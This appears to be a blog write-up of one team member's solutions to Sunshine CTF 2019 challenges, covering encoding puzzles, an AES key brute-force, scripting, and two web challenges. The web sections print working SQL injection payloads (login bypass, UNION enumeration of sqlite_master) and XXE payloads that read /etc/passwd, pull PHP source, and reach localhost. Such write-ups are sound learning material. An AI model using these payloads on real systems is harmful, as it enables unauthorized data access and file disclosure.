Sunshine CTF 2019 Write-up

George O
George O
Apr 15, 2019 · 9 min read

At the end of March this year, Hack@UCF released a CTF in collaboration with BSides Orlando 2019. Our team ended up coming 13th, narrowly missing out on a top 10 spot. You can find the homepage for this CTF here.

In this write-up, I’m only going to go over the challenges that I solved during the competition, going from what I found to be the easiest to the hardest.

Misc: Middle Ocean (75)

I made a deal with Hulch Hogan (Hulk Hogan's brother) for a treasure map can you get the treaure for me?

In this challenge, we were given a text file with the following contents:


After a quick bit of Googling, I found that these were plus codes. However, they all pointed to different oceans/deserts with little other information:

Google Maps results for each plus code.

I decided to convert them to lat/long coordinates to help make sense of the data using this website. These mapped out like so:

CMM72222+22: 83°00′00.225″N 85°00′00.225″E
CQC52222+22: 78°00′00.225″N 123°00′00.225″E
CH9J2222+22: 77°00′00.225″N 52°00′00.225″E
9H9M2222+22: 57°00′00.225″N 53°00′00.225″E
8PQ42222+22: 45°00′00.225″N 102°00′00.225″E
9P4G2222+22: 52°00′00.225″N 110°00′00.225″E
8Q572222+22: 33°00′00.225″N 125°00′00.225″E

We can easily notice that these values are all within the ASCII range. Decoding them with CyberChef reveals the flag: “SUN{M495-f4n!}

Forensics: Golly Gee Willikers (100)

Someone sent me this weird file and I don't understand it. It's freaking me out, this isn't a game! Please help me figure out what's in this file.

In this challenge, we were given another txt file with the following contents (download here):

Since the first line seems to be the only unique one, I Googled it and found a page detailing the RLE file format. The RLE file format is designed to store sequences for cell automation algorithms. The “B3/S23” rule in particular details Conway’s Game of Life templates.

I found a website in which you could import these templates, and loaded our one:

We have almost every character available, but no flag. I then decided to find out what each character in the file meant. The official wiki detailed each in detail.

  • b: Dead cell
  • o: Alive cell
  • $: End of line
  • <runcount>: Number of iterations for a combination (i.e. 3bo)
  • !: End of file

The key part of this wiki page is the following:

Anything after the final ! is ignored. It used to be common to put comments here (starting on a new line), but the usual method for adding comments is now by means of #C lines (see below).

In our RLE, there are two “!”s present. I removed the second one, and reran the script:

We now have the flag: “sun{th1s_w0nt_last}”!

Scripting: TimeWarp (50)

Oh no! A t3mp0ral anoma1y has di5rup7ed the timeline! Y0u'll have to 4nswer the qu3stion5 before we ask them!nc 19004

Let’s netcat in and see what happens:

When we put in a number (123), we get told another that we were supposed to put (39):

Let’s now put in the correct number:

We just just asked for another number. Essentially, we had to input the incorrect number at least once to find out the correct one.

I wrote a really messy script to run through these answers and eventually find the flag, as shown below:

It doesn’t actually stop when the flag is found, so you’ve got to be looking out for it. After around 300 iterations (maybe 45 mins of runtime), the flag is finally returned:


I later discovered that this challenge was intended to be completed by finding the seed from the challenge description, and calculating the sequence from there. Either way, this works :)

Crypto: 16-bit-AES (100)

Why so small?nc 19003

Connecting to this server presents us with the following:

Let’s add some text:

So it looks like we have to work out the key, so that we can encrypt the given data. I connected a few times and verified that the key is the same in each session. Just like before, we needed a script to do the heavy work for us:

Since the key is only 16 bits, we find the correct key in around a second:

The key is therefore “fL” (repeated 8 times as padding). We can encrypt any given string with this, and receive the flag:


One of my teammates pointed out after the competition ended that we could have just opened another session and used that to encrypt any given plaintext… But I guess that would be less interesting.

Web: WrestlerBook (100)

WrestlerBook is the social network for wrestlers, by wrestlers. WrestlerBook is exclusively for wrestlers, so if you didn't get an invite don't even bother trying to view our profiles.

We can visit the website, and see the following:

Simple SQL injection with ‘ OR 1=1 — # — bypasses the login form, but doesn’t give us anything else:

I then started enumerating the database via UNION injection. To begin with, I had to work out how many columns were in the current table for the UNION stuff to work. This can be done by constructing different ORDER BY queries until no errors are found.

a' ORDER BY 15--#--  <-- ORDER BY term out of range
a' ORDER BY 5--#-- <-- Success
a' ORDER BY 10--#-- <-- ORDER BY term out of range
a' ORDER BY 7--#-- <-- Success
a' ORDER BY 9--#-- <-- ORDER BY term out of range
a' ORDER BY 8--#-- <-- Success

Therefore, the table must have 8 columns. We can verify this with a simple SELECT/UNION injection:

a' UNION SELECT 1,2,3,4,5,6,7,8--#--

Let’s now start enumerating the database. We know that it’s SQLite 3 (as the error messages mentioned), so I referred to this SQLite cheat sheet.

We can perform table name enumeration like so:

a' UNION SELECT name,2,3,4,5,6,7,8 name FROM sqlite_master WHERE type='table'--#--

However, this only seemed to show one result. I looked into SQLite grouping, and found that we can use group_concat to concatenate all results into one:

a' UNION SELECT group_concat(name),2,3,4,5,6,7,8 name FROM sqlite_master WHERE type='table'--#--

The users table definitely looks more interesting. Let’s look at the table schemas to get more information:

a' UNION SELECT group_concat(sql),2,3,4,5,6,7,8 FROM sqlite_master WHERE type='table'--#--

We can see that there’s a flag field in the users table. With another query, we can extract all flag values:

All of the N/A values are messing up our results. Let’s filter them out and try again:

a' UNION SELECT group_concat(flag),2,3,4,5,6,7,8 FROM users WHERE flag != 'N/A'--#--

The flag is therefore: sun{ju57_4n07h3r_5ql1_ch4ll}

Web: Wrestler Name Generator (150)

Even better than the Wu-Tang name generator, legend has it that Hulk Hogan used this app to get his name.

We’re given a link to a website which let’s you generate a random wrestler name:

Once we’ve inputted the first and last name, we’re given the following response:

You can quickly notice that the URL now has a large Base64 string appended to it:

Decoding this gives us the following data:

<?xml version='1.0' encoding='UTF-8'?><input><firstName>testfirst</firstName><lastName>testlast</lastName></input>

Since we have XML data, let’s try an XXE attack. To form our payload, we must embed a malicious entity into a field with a known response.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

As you can see, I’ve embedded /etc/passwd into an entity, and displayed the entity in the firstName field. Let’s Base64+Url encode this, and pass it in as our input in the URL.

It looks like we have LFI! There doesn’t seem to be anything interesting in that file, so I looked around the filesystem. I noticed that some files didn’t show any data, and so I added a Base64 wrapper before the filename so that large/binary files are shown too:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd" >]>

We could then encode this, and resubmit it in order to get a Base64 response. It would be helpful to get the source code for this operation, so I sent the payload back with generate.php selected:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/generate.php" >]>

We can then see thus see the source code:

This tells us that by accessing the website from a local address, we can get the flag. Let’s send off another payload to the webserver and retreive the flag:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://localhost/generate.php?input=1" >]>
<lastName>lastName test</lastName>

After encoding this, we get the following response:

The flag is therefore sun{1_l0v3_hulk_7h3_3x73rn4l_3n717y_h064n}.

Scripting: Entry Exam (250)

I heard the Hart Foundation is accepting applications, see if you have what it takes by completing their entry exam.

The website given looks as follows:

Beautiful :’)

We are given this scantron:

We’re also given a webpage with questions on, and the option to upload a complete scantron (

This challenge consists of little other than scripting an automatic scranton-filler and uploader, as shown below:

After leaving this to run 10 times, we get given the flag in the response:


Contact me:
Personal Website
Twitter: georgeomnet
Github: Ge0rg3
Discord: George#1234

CTF Writeups

A collection of write-ups for various systems.

George O

Written by

George O

CTF Writeups

A collection of write-ups for various systems.

Welcome to a place where words matter. On Medium, smart voices and original ideas take center stage - with no ads in sight. Watch
Follow all the topics you care about, and we’ll deliver the best stories for you to your homepage and inbox. Explore
Get unlimited access to the best stories on Medium — and support writers while you’re at it. Just $5/month. Upgrade